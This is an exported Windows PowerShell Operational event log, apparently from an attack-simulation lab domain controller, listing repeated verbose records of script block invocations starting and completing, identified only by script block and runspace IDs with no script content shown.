06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477508
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477506
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477504
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477503
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477502
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477500
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477499
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477498
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477497
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477496
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477494
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477492
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477489
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477487
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477485
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477483
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477482
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477480
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477478
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477476
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477475
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477474
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477472
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477471
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477470
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477468
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477465
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477463
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477462
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477460
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477457
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477455
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477454
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477453
Keywords=None
